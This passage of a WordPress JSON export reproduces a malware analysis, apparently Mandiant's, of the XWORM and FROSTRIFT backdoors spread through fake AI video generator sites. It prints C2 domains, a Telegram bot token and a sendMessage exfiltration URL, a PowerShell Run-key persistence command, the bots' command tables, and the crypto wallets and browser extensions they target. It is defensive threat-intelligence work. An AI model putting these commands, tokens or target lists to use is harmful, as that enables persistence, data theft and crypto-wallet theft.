DLL\u00a0<code>heif.dll<\/code>\u00a0and injects XWORM into a legitimate Windows process.<\/p>\n<p>XWORM is a .NET-based backdoor that communicates using a custom binary protocol over TCP. Its core functionality involves expanding its capabilities through a plugin management system. Downloaded plugins are written to disk and executed. Supported capabilities include keylogging, command execution, screen capture, and spreading to USB drives.<\/p>\n<h5>XWORM Configuration<\/h5>\n<p>The malware begins by decoding its configuration using the\u00a0<code>AES<\/code>\u00a0algorithm.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig17.max-1000x1000.png\" \/><\/p>\n<p>Figure 17: Decryption of configuration<\/p>\n<p>Table 6 shows the extracted malware configuration.<\/p>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"234\" \/>\n<col width=\"369\" \/><\/colgroup>\n<tbody>\n<tr>\n<td colspan=\"2\" rowspan=\"1\">XWORM Malware Configuration<\/td>\n<\/tr>\n<tr>\n<td>Host<\/td>\n<td>artisanaqua[.]ddnsking[.]com<\/td>\n<\/tr>\n<tr>\n<td>Port number<\/td>\n<td>25699<\/td>\n<\/tr>\n<tr>\n<td>KEY<\/td>\n<td>&lt;123456789&gt;<\/td>\n<\/tr>\n<tr>\n<td>SPL<\/td>\n<td>&lt;Xwormmm&gt;<\/td>\n<\/tr>\n<tr>\n<td>Version<\/td>\n<td>XWorm V5.2<\/td>\n<\/tr>\n<tr>\n<td>USBNM<\/td>\n<td>USB.exe<\/td>\n<\/tr>\n<tr>\n<td>Telegram Token<\/td>\n<td>8060948661:AAFwePyBCBu9X-gOemLYLlv1owtgo24fcO0<\/td>\n<\/tr>\n<tr>\n<td>Telegram ChatID<\/td>\n<td>-1002475751919<\/td>\n<\/tr>\n<tr>\n<td>Mutex<\/td>\n<td>ZMChdfiKw2dqF51X<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Table 6:\u00a0XWORM configuration<\/p>\n<h5>Host Reconnaissance<\/h5>\n<p>The malware then performs a system survey to gather the following information:<\/p>\n<ul>\n<li>Bot ID<\/li>\n<li>Username<\/li>\n<li>OS Name<\/li>\n<li>If it\u2019s running on USB<\/li>\n<li>CPU Name<\/li>\n<li>GPU Name<\/li>\n<li>Ram Capacity<\/li>\n<li>AV Products list<\/li>\n<\/ul>\n<p>Sample of collected information:<\/p>\n<\/div>\n<\/section>\n<\/div>\n<\/div>\n<div class=\"block-paragraph_advanced\">\n<pre><code>\u2620 [KW-2201]\r\n\r\nNew Clinet : &lt;client_id_from_machine_info_hash&gt;\r\nUserName : &lt;victim_username&gt;\r\nOSFullName : &lt;victim_OS_name&gt;\r\nUSB : &lt;is_sample_name_USB.exe&gt;\r\nCPU : &lt;cpu_description&gt;\r\nGPU : &lt;gpu_description&gt;\r\nRAM : &lt;ram_size_in_GBs&gt;\r\nGroub : &lt;installed_av_solutions&gt;<\/code> This information is sent to a Telegram chat:<\/pre>\n<pre><code>hxxps[:]\/\/api[.]telegram[.]org:443\/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1\r\nowtgo24fcO0\/sendMessage?chat_id=-1002475751919&amp;text=&lt;collected_sysinfo&gt;<\/code><\/pre>\n<h5>Keylogging<\/h5>\n<p>The malware sample saves the logged keystrokes to the file\u00a0<code>%temp%\\Log.tmp<\/code><strong>.<\/strong><\/p>\n<p>Sample of content of\u00a0<code>Log.tmp<\/code>:<\/p>\n<pre><code>....### explorer ###..[Back]\r\n[Back]\r\nb    \r\na\r\nn\r\nk\r\n[ENTER]<\/code><\/pre>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<h5>C2 Communication<\/h5>\n<p>The sample connects to its C2 server at\u00a0<code>tcp:\/\/artisanaqua[.]ddnsking[.]com:25699<\/code>\u00a0and initially sends the following information to the C2:<\/p>\n<\/div>\n<\/section>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<p class=\" \"><code>\"INFO&lt;Xwormmm&gt;victim_id&lt;Xwormmm&gt;user&lt;Xwormmm&gt;<br \/>\nos_name&lt;Xwormmm&gt;XWorm V5.2&lt;Xwormmm&gt;date_in_dd\/mm\/yyyy<br \/>\n&lt;Xwormmm&gt;is_sample_name_USB.exe<br \/>\n&lt;Xwormmm&gt;is_administrator&lt;Xwormmm&gt;has_webcam&lt;Xwormmm&gt;cpu_info<br \/>\n&lt;Xwormmm&gt;gpu_info&lt;Xwormmm&gt;ram_size&lt;Xwormmm&gt;installed_AVs\"<\/code><\/p>\n<p>Then the sample waits for any of the following supported commands:<\/p>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"118\" \/>\n<col width=\"334\" \/>\n<col width=\"124\" \/>\n<col width=\"573\" \/><\/colgroup>\n<tbody>\n<tr>\n<td>Command<\/td>\n<td>Description<\/td>\n<td>Command<\/td>\n<td>Description<\/td>\n<\/tr>\n<tr>\n<td>pong<\/td>\n<td>echo back to server<\/td>\n<td>StartDDos<\/td>\n<td>Spam HTTP requests over TCP to target<\/td>\n<\/tr>\n<tr>\n<td>rec<\/td>\n<td>restart bot<\/td>\n<td>StopDDos<\/td>\n<td>Kill DDOS threads<\/td>\n<\/tr>\n<tr>\n<td>CLOSE<\/td>\n<td>shutdown bot<\/td>\n<td>StartReport<\/td>\n<td>List running processes continuously<\/td>\n<\/tr>\n<tr>\n<td>uninstall<\/td>\n<td>self delete<\/td>\n<td>StopReport<\/td>\n<td>Kill process monitoring threads<\/td>\n<\/tr>\n<tr>\n<td>update<\/td>\n<td>uninstall and execute received new version<\/td>\n<td>Xchat<\/td>\n<td>Send C2 message<\/td>\n<\/tr>\n<tr>\n<td>DW<\/td>\n<td>Execute file on disk via powershell<\/td>\n<td>Hosts<\/td>\n<td>Get hosts file contents<\/td>\n<\/tr>\n<tr>\n<td>FM<\/td>\n<td>Execute .NET file in memory<\/td>\n<td>Shosts<\/td>\n<td>Write to file, likely to overwrite hosts file contents<\/td>\n<\/tr>\n<tr>\n<td>LN<\/td>\n<td>Download file from supplied URL and execute on disk<\/td>\n<td>DDos<\/td>\n<td>Unimplemented<\/td>\n<\/tr>\n<tr>\n<td>Urlopen<\/td>\n<td>Perform network request via browser<\/td>\n<td>ngrok<\/td>\n<td>Unimplemented<\/td>\n<\/tr>\n<tr>\n<td>Urlhide<\/td>\n<td>Perform network request in process<\/td>\n<td>plugin<\/td>\n<td>Load a Bot plugin<\/td>\n<\/tr>\n<tr>\n<td>PCShutdown<\/td>\n<td>Shutdown PC now<\/td>\n<td>savePlugin<\/td>\n<td>Save plugin to registry and load it HKCU\\Software\\&lt;victim_id&gt;\\&lt;plugin_name&gt;=&lt;plugin_bytes&gt;<\/td>\n<\/tr>\n<tr>\n<td>PCRestart<\/td>\n<td>Restart PC now<\/td>\n<td>RemovePlugins<\/td>\n<td>Delete all plugins in registry<\/td>\n<\/tr>\n<tr>\n<td>PCLogoff<\/td>\n<td>Log off<\/td>\n<td>OfflineGet<\/td>\n<td>Read Keylog<\/td>\n<\/tr>\n<tr>\n<td>RunShell<\/td>\n<td>Execute CMD on shell<\/td>\n<td>$Cap<\/td>\n<td>Get screen capture<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"background-color: #f2f4f5; color: #222222;\"><br \/>\nTable 7: Supported commands<\/span><\/p>\n<h4>FROSTRIFT<\/h4>\n<p>Lastly, the\u00a0<strong>l<\/strong>auncher executes the file\u00a0<code>%APPDATA%\\ffplay\\ffplay.exe<\/code>\u00a0to side-load the DLL\u00a0<code>%APPDATA%\\ffplay\\libde265.dll<\/code>\u00a0and inject FROSTRIFT into a legitimate Windows process.<\/p>\n<p>FROSTRIFT is a .NET backdoor that collects system information, installed applications, and crypto wallets. Instead of receiving C2 commands, it receives .NET modules that are stored in the registry to be loaded in-memory. It communicates with the C2 server using\u00a0<code>GZIP<\/code>-compressed\u00a0<code>protobuf<\/code>\u00a0messages over TCP\/SSL.<\/p>\n<h5>Malware Configuration<\/h5>\n<p>The malware starts by decoding its configuration, which is a Base64-encoded and GZIP-compressed protobuf message embedded within the strings table.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/storage.googleapis.com\/gweb-cloudblog-publish\/images\/fake-ai-fig18.max-1100x1100.png\" \/><\/p>\n<p>Figure 18: FROSTRIFT configuration<\/p>\n<p>Table 8 shows the extracted malware configuration.<\/p>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"118\" \/>\n<col width=\"218\" \/><\/colgroup>\n<tbody>\n<tr>\n<td>Field<\/td>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<td>Protobuf Tag<\/td>\n<td>38<\/td>\n<\/tr>\n<tr>\n<td>C2 Domain<\/td>\n<td>strokes.zapto[.]org<\/td>\n<\/tr>\n<tr>\n<td>C2 Port<\/td>\n<td>56001<\/td>\n<\/tr>\n<tr>\n<td>SSL Certificate<\/td>\n<td>&lt;Base64 encoded SSL certificate&gt;<\/td>\n<\/tr>\n<tr>\n<td>Unknown<\/td>\n<td>Default<\/td>\n<\/tr>\n<tr>\n<td>Installation folder<\/td>\n<td>APPDATA<\/td>\n<\/tr>\n<tr>\n<td>Mutex<\/td>\n<td>7d9196467986<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Table 8: FROSTRIFT configration<\/p>\n<h4>Persistence<\/h4>\n<p><strong>FROSTRIFT<\/strong>\u00a0can achieve persistence by running the command:<\/p>\n<p class=\" \"><code><code>powershell.exe \"Remove-ItemProperty -Path 'HKCU:\\SOFTWARE\\<br \/>\nMicrosoft\\Windows\\CurrentVersion\\Run' -Name '&lt;sample_file_name&gt;<br \/>\n';New-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\<br \/>\nCurrentVersion\\Run' -Name '&lt;sample_file_name&gt;' -Value '\"\"%APPDATA%<br \/>\n\\&lt;sample_file_name&gt;\"\"' -PropertyType 'String'\"<\/code><\/code><\/p>\n<p>The sample copies itself to %APPDATA% and adds a new registry value under HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run with the new file path as data to ensure persistence at each system startup.<\/p>\n<h5>Host Reconnaissance<\/h5>\n<p>The following information is initially collected and submitted by the malware to the C2:<\/p>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"229\" \/>\n<col width=\"558\" \/><\/colgroup>\n<tbody>\n<tr>\n<td colspan=\"2\" rowspan=\"1\">Collected Information<\/td>\n<\/tr>\n<tr>\n<td>Host information<\/td>\n<td>Installed Anti-Virus<\/p>\n<p>Web camera<\/p>\n<p>Hostname<\/p>\n<p>Username and Role<\/p>\n<p>OS name<\/p>\n<p>Local time<\/td>\n<\/tr>\n<tr>\n<td>Victim ID<\/td>\n<td>HEX digest of the MD5 hash for the following combined:<br \/>\nSample process ID<\/p>\n<p>Disk drive serial number<\/p>\n<p>Physical memory serial number<\/p>\n<p>Victim user name<\/td>\n<\/tr>\n<tr>\n<td>Malware Version<\/td>\n<td>4.1.8<\/td>\n<\/tr>\n<tr>\n<td>Software Applications<\/td>\n<td>com.liberty.jaxx<\/p>\n<p>Foxmail<\/p>\n<p>Telegram<\/p>\n<p>Browsers (see Table 10)<\/td>\n<\/tr>\n<tr>\n<td>Standalone Crypto Wallets<\/td>\n<td>Atomic, Bitcoin-Qt, Dash-Qt, Electrum, Ethereum, Exodus, Litecoin-Qt, Zcash, Ledger Live<\/td>\n<\/tr>\n<tr>\n<td>Browser Extension<\/td>\n<td>Password managers, Authenticators, and Digital wallets (see Table 11)<\/td>\n<\/tr>\n<tr>\n<td>Others<\/td>\n<td>5th entry from the Config (\u201cDefault\u201d in this sample)<\/p>\n<p>Malware full file path<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<div>Table 9: Collected information<\/div>\n<div><\/div>\n<div>FROSTRIFT checks for the existence of the following browsers:<\/div>\n<div>Chromium, Chrome, Brave, Edge, QQBrowser, ChromePlus, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements Browser, Epic Privacy Browser, uCozMedia Uran, Sleipnir5, Citrio, Coowon, liebao, QIP Surf, Orbitum, Dragon, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Atom<\/div>\n<\/section>\n<div>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<p>Table 10: List of browsers<\/p>\n<\/div>\n<\/section>\n<section class=\"Wy08Ac nRhiJb-qJTHM-OWXEXe-hJDwNd nRhiJb-DbgRPb-II5mzb-cGMI2b\">\n<div class=\" \">\n<p>FROSTRIFT also checks for the existence of 48 browser extensions related to Password managers, Authenticators, and Digital wallets. The full list is provided in Table 11.<\/p>\n<table dir=\"ltr\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" data-sheets-root=\"1\" data-sheets-baot=\"1\">\n<colgroup>\n<col width=\"290\" \/>\n<col width=\"190\" \/><\/colgroup>\n<tbody>\n<tr>\n<td>String<\/td>\n<td>Extension<\/td>\n<\/tr>\n<tr>\n<td>ibnejdfjmmkpcnlpebklmnkoeoihofec<\/td>\n<td>TronLink<\/td>\n<\/tr>\n<tr>\n<td>nkbihfbeogaeaoehlefnkodbefgpgknn<\/td>\n<td>MetaMask<\/td>\n<\/tr>\n<tr>\n<td>fhbohimaelbohpjbbldcngcnapndodjp<\/td>\n<td>Binance Chain Wallet<\/td>\n<\/tr>\n<tr>\n<td>ffnbelfdoeiohenkjibnmadjiehjhajb<\/td>\n<td>Yoroi<\/td>\n<\/tr>\n<tr>\n<td>cjelfplplebdjjenllpjcblmjkfcffne<\/td>\n<td>Jaxx Liberty<\/td>\n<\/tr>\n<tr>\n<td>fihkakfobkmkjojpchpfgcmhfjnmnfpi<\/td>\n<td>BitApp Wallet<\/td>\n<\/tr>\n<tr>\n<td>kncchdigobghenbbaddojjnnaogfppfj<\/td>\n<td>iWallet<\/td>\n<\/tr>\n<tr>\n<td>aiifbnbfobpmeekipheeijimdpnlpgpp<\/td>\n<td>Terra Station<\/td>\n<\/tr>\n<tr>\n<td>ijmpgkjfkbfhoebgogflfebnmejmfbml<\/td>\n<td>BitClip<\/td>\n<\/tr>\n<tr>\n<td>blnieiiffboillknjnepogjhkgnoapac<\/td>\n<td>EQUAL Wallet<\/td>\n<\/tr>\n<tr>\n<td>amkmjjmmflddogmhpjloimipbofnfjih<\/td>\n<td>Wombat<\/td>\n<\/tr>\n<tr>\n<td>jbdaocneiiinmjbjlgalhcelgbejmnid<\/td>\n<td>Nifty Wallet<\/td>\n<\/tr>\n<tr>\n<td>afbcbjpbpfadlkmhmclhkeeodmamcflc<\/td>\n<td>Math Wallet<\/td>\n<\/tr>\n<tr>\n<td>hpglfhgfnhbgpjdenjgmdgoeiappafln<\/td>\n<td>Guarda<\/td>\n<\/tr>\n<tr>\n<td>aeachknmefphepccionboohckonoeemg<\/td>\n<td>Coin98 Wallet<\/td>\n<\/tr>\n<tr>\n<td>imloifkgjagghnncjkhggdhalmcnfklk<\/td>\n<td>Trezor Password Manager<\/td>\n<\/tr>\n<tr>\n<td>oeljdldpnmdbchonielidgobddffflal<\/td>\n<td>EOS Authenticator<\/td>\n<\/tr>\n<tr>\n<td>gaedmjdfmmahhbjefcbgaolhhanlaolb<\/td>\n<td>Authy<\/td>\n<\/tr>\n<tr>\n<td>ilgcnhelpchnceeipipijaljkblbcobl<\/td>\n<td>GAuth Authenticator<\/td>\n<\/tr>\n<tr>\n<td>bhghoamapcdpbohphigoooaddinpkbai<\/td>\n<td>Authenticator<\/td>\n<\/tr>\n<tr>\n<td>mnfifefkajgofkcjkemidiaecocnkjeh<\/td>\n<td>TezBox<\/td>\n<\/tr>\n<tr>\n<td>dkdedlpgdmmkkfjabffeganieamfklkm<\/td>\n<td>Cyano Wallet<\/td>\n<\/tr>\n<tr>\n<td>aholpfdialjgjfhomihkjbmgjidlcdno<\/td>\n<td>Exodus Web3<\/td>\n<\/tr>\n<tr>\n<td>jiidiaalihmmhddjgbnbgdfflelocpak<\/td>\n<td>BitKeep<\/td>\n<\/tr>\n<tr>\n<td>hnfanknocfeofbddgcijnmhnfnkdnaad<\/td>\n<td>Coinbase Wallet<\/td>\n<\/tr>\n<tr>\n<td>egjidjbpglichdcondbcbdnbeeppgdph<\/td>\n<td>Trust Wallet<\/td>\n<\/tr>\n<tr>\n<td>hmeobnfnfcmdkdcmlblgagmfpfboieaf<\/td>\n<td>XDEFI Wallet<\/td>\n<\/tr>\n<tr>\n<td>bfnaelmomeimhlpmgjnjophhpkkoljpa<\/td>\n<td>Phantom<\/td>\n<\/tr>\n<tr>\n<td>fcckkdbjnoikooededlapcalpionmalo<\/td>\n<td>MOBOX WALLET<\/td>\n<\/tr>\n<tr>\n<td>bocpokimicclpaiekenaeelehdjllofo<\/td>\n<td>XDCPay<\/td>\n<\/tr>\n<tr>\n<td>flpiciilemghbmfalicajoolhkkenfel<\/td>\n<td>ICONex<\/td>\n<\/tr>\n<tr>\n<td>hfljlochmlccoobkbcgpmkpjagogcgpk<\/td>\n<td>Solana Wallet<\/td>\n<\/tr>\n<tr>\n<td>cmndjbecilbocjfkibfbifhngkdmjgog<\/td>\n<td>Swash<\/td>\n<\/tr>\n<tr>\n<td>cjmkndjhnagcfbpiemnkdpomccnjblmj<\/td>\n<td>Finnie<\/td>\n<\/tr>\n<tr>\n<td>knogkgcdfhhbddcghachkejeap<\/td>\n<td>Keplr<\/td>\n<\/tr>\n<tr>\n<td>kpfopkelmapcoipemfendmdcghnegimn<\/td>\n<td>Liquality Wallet<\/td>\n<\/tr>\n<tr>\n<td>hgmoaheomcjnaheggkfafnjilfcefbmo<\/td>\n<td>Rabet<\/td>\n<\/tr>\n<tr>\n<td>fnjhmkhhmkbjkkabndcnnogagogbneec<\/td>\n<td>Ronin Wallet<\/td>\n<\/tr>\n<tr>\n<td>klnaejjgbibmhlephnhpmaofohgkpgkd<\/td>\n<td>ZilPay<\/td>\n<\/tr>\n<tr>\n<td>ejbalbakoplchlghecdalmeeeajnimhm<\/td>\n<td>MetaMask<\/td>\n<\/tr>\n<tr>\n<td>ghocjofkdpicneaokfekohclmkfmepbp<\/td>\n<td>Exodus Web3<\/td>\n<\/tr>\n<tr>\n<td>heaomjafhiehddpnmncmhhpjaloainkn<\/td>\n<td>Trust Wallet<\/td>\n<\/tr>\n<tr>\n<td>hkkpjehhcnhgefhbdcgfkeegglpjchdc<\/td>\n<td>Braavos Smart Wallet<\/td>\n<\/tr>\n<tr>\n<td>akoiaibnepcedcplijmiamnaigbepmcb<\/td>\n<td>Yoroi<\/td>\n<\/tr>\n<tr>\n<td>djclckkglechooblngghdinmeemkbgci<\/td>\n<td>MetaMask<\/td>\n<\/tr>\n<tr>\n<td>acdamagkdfmpkclpoglgnbddngblgibo<\/td>\n<td>Guarda Wallet<\/td>\n<\/tr>\n<tr>\n<td>okejhknhopdbemmfefjglkdfdhpfmflg<\/td>\n<td>BitKeep<\/td>\n<\/tr>\n<tr>\n<td>mijjdbgpgbflkaooedaemnlciddmamai<\/td>\n<td>Waves Keeper<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Table 11: List of browser extensions<\/p>\n<h5>C2 Communication<\/h5>\n<p>The malware expects the C2 to respond by sending\u00a0<code>GZIP<\/code>-compressed Protobuf messages with the following fields:<\/p>\n<ul>\n<li><code>registry_val<\/code>: A registry value under\u00a0<code>HKCU\\Software\\&lt;victim_id&gt;<\/code>\u00a0to store the loader_bytes.<\/li>\n<li><code>loader_bytes<\/code>: Assembly module to load the loaded_bytes (stored at registry in reverse order).<\/li>\n<li><code>loaded_bytes<\/code>: GZIP-compressed assembly module to be loaded in-memory.<\/li>\n<\/ul>\n<p>The sample receives\u00a0<code>loader_bytes<\/code>\u00a0only in the first message as it stores it under the registry value\u00a0<code>HKCU\\Software\\&lt;victim_id&gt;\\registry_val<\/code>. For the subsequent messages, it only receives\u00a0<code>registry_val<\/code>\u00a0which it uses to fetch\u00a0<code>loader_bytes<\/code>\u00a0from the registry.<\/p>\n<p>The sample sends empty\u00a0<code>GZIP<\/code>-compressed Protobuf messages as a keep-alive mechanism until the C2 sends another assembly module to be loaded.<\/p>\n<p>The malware has the ability to download and execute extra payloads from the following hardcoded URLs (this feature is not enabled in this sample):<\/p>\n<ul>\n<li><code>WebDriver2.exe<\/code>: hxxps:\/\/github[.]com\/DFfe9ewf\/test3\/raw\/refs\/heads\/main\/WebDriver.dll;<\/li>\n<li><code>chromedriver2.exe<\/code>: hxxps:\/\/github[.]com\/DFfe9ewf\/test3\/raw\/refs\/heads\/main\/chromedriver.exe<\/li>\n<li><code>msedgedriver2.exe<\/code>: hxxps:\/\/github[.]com\/DFfe9ewf\/test3\/raw\/refs\/heads\/main\/msedgedriver.exe<\/li>\n<\/ul>\n<p>The files are WebDrivers for browsers that can be used for testing, automation, and interacting with the browser. They can also be used by attackers for malicious purposes, such as deploying additional payloads.<\/p>\n<h2>Conclusion<\/h2>\n<p>As AI has gained tremendous momentum recently, our research highlights some of the ways in which threat actors have taken advantage of it. Although our investigation was limited in scope, we discovered that well-crafted fake \u201cAI websites\u201d pose a significant threat to both organizations and individual users. These AI tools no longer target just graphic designers; anyone can be lured in by a seemingly harmless ad. The temptation to try the latest AI tool can lead to anyone becoming a victim. We advise users to exercise caution when engaging with AI tools and to verify the legitimacy of the website&#8217;s domain.<\/p>\n<\/div>\n<\/section>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Since November 2024, Mandiant Threat Defense has been investigating an UNC6032 campaign that weaponizes the interest around AI tools, in particular those tools which can be used to generate videos based on user prompts. UNC6032 utilizes fake \u201cAI video generator\u201d websites to distribute malware leading to the deployment of payloads such as Python-based infostealers and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":12361,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[438],"tags":[],"class_list":["post-11999","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-technology"],"acf":{"custom_meta_title":"Text-to-Malware: How Cybercriminals Exploit Fake AI Websites for Attacks","meta_description":"Discover how cybercriminals are using fake AI-themed websites to distribute malware through deceptive \"text-to-AI\" tools. Learn how these scams work\u2014and how to protect yourself.","meta_keyword":"","other_meta_tag":""},"_links":{"self":[{"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/posts\/11999"}],"collection":[{"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/comments?post=11999"}],"version-history":[{"count":3,"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/posts\/11999\/revisions"}],"predecessor-version":[{"id":12363,"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/posts\/11999\/revisions\/12363"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/media\/12361"}],"wp:attachment":[{"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/media?parent=11999"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/categories?post=11999"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ntspl.co.in\/blog\/wp-json\/wp\/v2\/tags?post=11999"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}